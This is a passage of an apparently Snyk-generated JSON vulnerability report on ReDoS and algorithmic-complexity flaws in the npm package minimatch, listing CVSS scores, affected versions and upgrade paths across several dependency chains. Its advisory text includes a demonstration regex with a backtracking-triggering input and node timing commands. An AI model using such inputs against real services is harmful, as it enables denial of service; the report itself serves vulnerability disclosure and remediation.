"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` 